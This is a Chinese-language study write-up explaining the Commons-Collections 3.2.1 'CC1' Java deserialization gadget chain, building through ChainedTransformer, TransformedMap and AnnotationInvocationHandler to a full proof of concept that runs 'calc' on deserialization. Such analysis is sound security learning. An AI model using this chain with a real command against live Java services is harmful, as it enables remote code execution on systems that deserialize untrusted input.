CC1链详解

前言：这篇文章是对CC1的总结，个人学习，如有不对请多指教。谢谢！

环境：jdk8u71以下，因为在该jdk版本以上这个漏洞已经被修复了

下载链接：https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

maven:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1 有漏洞的版本是commons-collections3.2.1

sun源码：https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4 拷贝到jdk目录下，这样便于阅读jdk源码

序列化与反序列化函数：

1     public static void serialize(Object obj) throws Exception{
2         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
3         oos.writeObject(obj);
4     }
5     public static Object unserialize(String Filename) throws Exception{
6         ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
7         Object obj = ois.readObject();
8         return obj;
9     }

首先，我们要知道，反序列化漏洞归根结底就是需要调用到危险函数，然后有些类会重写readObject方法，那么如果在调用Object方法的时候传入了具有危险方法的类，那么就会触发反序列化漏洞。CC链的作者发现在commons-collections下有一个Transformer接口

实现了Transformer接口的类

主要来看一下一下几个实现类中对transformer方法的实现：

ChainedTransformer：

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

可以看到，这个方法会接受一个Object数组，在调用这个方法的时候，会从构造函数接收的iTransformers中的类去调用transform方法，直到结束。

ConstantTransformer：

    public Object transform(Object input) {
        return iConstant;
    }

无论该方法接受的对象是什么类型，最后都会返回的是类初始化时接受的对象类型。

InvokerTransformer：

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
 
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

可以看到，在这个类中，transform方法调用时，会反射调用iMethodName方法，然后执行，而且，方法名称和参数是我们可以控制的，这就是我们要找的危险函数。

InvokerTransformer的简单利用

我们知道，在java中要执行命令，需要利用Runtime类，那么简单的使用Runtime去执行命令就可以利用以下的写法：

　　　　 Runtime.getRuntime().exec("calc");

反射调用的写法：

        Runtime runtime = Runtime.getRuntime();
        Class c = Runtime.class;
        Method execMethod = c.getMethod("exec",String.class);
        execMethod.invoke(runtime,"calc");

利用InvokerTransformer类的写法：

        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

寻找调用了transform方法的类

现在我们已经找到了危险方法，也知道了如何去利用该危险方法，那么我们现在就需要去寻找，还有哪些类同样调用了InvokerTransformer中的transform方法，这样我们才能加以利用

可以看到，以上很多的类都调用了transform方法，但是我们需要找到的是不同名类但是调用了同名方法的地方，所以很多同名函数都是不可加以利用的，为了简单起见，我们选择TransformedMap这个类。因为这个类中好几处都调用了transform方法。

TransformedMap的构造函数：

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

因为这个构造函数是protected修饰的，所以只能在类内被调用，但是，我们发现这个方法被类中的一个public方法decorate调用了，那么我们就可以通过该方法给他传值，然后再去想办法调用transform方法，从而实现利用

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

具体构造代码如下：

        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        TransformedMap.decorate(map,null,invokerTransformer);

但是，我们会发现，在TransformedMap中，只有checkSetValue中会使value值去调用transform方法，但是这个方法又是protected修饰的，那么我们就需要去看一下有没有别的地方调用了这个方法。可以发现，在MapEnter的setValue中调用了这个方法

我们知道，MapEnter是在Map遍历的时候使用的，实际上这个方法就是重写了entry中的setValue方法，那么我们只要遍历被修饰过的Map，就会走到这个方法中，所以利用代码如下：

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        map.put("kay","value");
        Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }

那么我们现在要去寻找，是否存在某个类，在readObject时调用了setValue方法，可以发现在AnnotationInvocationHandler的readObject中调用了该方法。

我们可以看一下，这个类的构造函数，可以看到，构造函数的第二个参数传入的是一个map类型，使我们可控的，所以我们可以利用这个类的readObject方法来实现利用

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

因为这个类的构造函数是default修饰的，所以我们只能通过反射的方法来构造，然后进行序列化和反序列化就可以了。

        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        map.put("kay","value");
        Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,invokerTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        //第一个参数继承了注解，我们先用override尝试
        Object o = constructor.newInstance(override.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");

存在的问题

通过以上的代码实际上并不能实现利用，因为还存在以下的问题：

1.setValue方法中的值，是方法自动生成的，我们无法控制

2.Runtime对象无法序列化

3.setValue中的if判断需要满足

如何解决？

1.Runtime对象无法序列化的解决办法

我们知道Class是可以被序列化的，但是Runtime.class是可以被序列化的，那么我可以通过反射来获取

        Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime");
        Runtime runtime = (Runtime) getRuntimeMethod.invoke(null,null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(runtime,"calc");

修改成invokeTransformer版本

        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",
                new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
                .transform(Runtime.class);
        Runtime runtime = (Runtime)new InvokerTransformer("invoke",
                new Class[]{Object.class,Object[].class},new Object[]{null,null})
                .transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

可以发现，实际上后一个的返回值会作为前一个的transform的参数，那么就可以去使用之前提到的ChainedTransformer

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

然后利用之前的代码进行调用

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        map.put("kay","value");
        Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        //第一个参数继承了注解，我们先用override尝试
        Object o = constructor.newInstance("override",transformedMap);
        serialize(o);
        unserialize("ser.bin");

但是发现还有运行不了，现在来解决剩下的两个问题

2.setValue中的if判断需要满足

可以看到，type的值是从传入的type类型获取的，但是override中不存在任何的值，但是target中存在，所以我们可以利用target来替代，而且因为target中的值为value，所以我们要修改map中的值为value

        Object o = constructor.newInstance(Target.class,transformedMap);

        map.put("value","value");

3.setValue方法中的值，是方法自动生成的，我们无法控制

上面提到过ConstantTransformer会一直返回初始化的Transformer，那么我们就可以利用他来避免readObject中的修改。

所以完整poc如下：

 1         Transformer[] transformers = new Transformer[]{
 2                 //避免被readObject修改
 3                 new ConstantTransformer(Runtime.class),
 4                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 5                 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 6                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
 7         };
 8         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 9         HashMap<Object,Object> map = new HashMap<Object, Object>();
10         map.put("value","value");
11         Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,chainedTransformer);
12         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
13         Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
14         constructor.setAccessible(true);
15         //第一个参数继承了注解，我们先用override尝试
16         Object o = constructor.newInstance(Target.class,transformedMap);
17         serialize(o);
18         unserialize("ser.bin");